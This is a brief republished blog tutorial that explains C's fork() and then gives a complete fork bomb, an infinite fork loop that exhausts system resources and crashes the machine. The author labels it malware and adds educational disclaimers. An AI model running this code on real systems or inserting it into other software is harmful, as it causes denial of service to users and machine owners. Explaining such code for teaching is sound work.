This content originally appeared on DEV Community and was authored by seatbelt
before we start…
THIS CONTENT IS FOR EDUCATIONAL PURPOSES ONLY. DO NOT CREATE OR DISTRIBUTE MALICIOUS SOFTWARE.
a fork bomb basically clones itself until the system runs out of resources (which crashes the device)
#include <stdio.h>
#include <unistd.h>
int main() {
fork();
printf("hello world\n");
}
this is a basic demo of the fork(); function this will just clone itself once so you will get a output like
but to actually make it keep repeating it self you will need to do something like this
#include <stdio.h>
#include <unistd.h>
#include <stdbool.h>
int main() {
while (true) {fork();}
}
this will keep cloning it self again and again and will crash your system this is probably the simplest malware there is
NOTE: PLEASE DO NOT RUN THIS PROGRAM ON ANY MACHINE [NOT EVEN YOUR OWN] PLEASE ONLY RUN THIS IN A VIRTUAL MACHINE THIS BLOG WAS ONLY FOR EDUCATIONAL PURPOSES
This content originally appeared on DEV Community and was authored by seatbelt

seatbelt | Sciencx (2025-07-30T07:56:22+00:00) how to make the world’s simplest malware in C. Retrieved from https://www.scien.cx/2025/07/30/how-to-make-the-worlds-simplest-malware-in-c/
Please log in to upload a file.
There are no updates yet.
Click the Upload button above to add an update.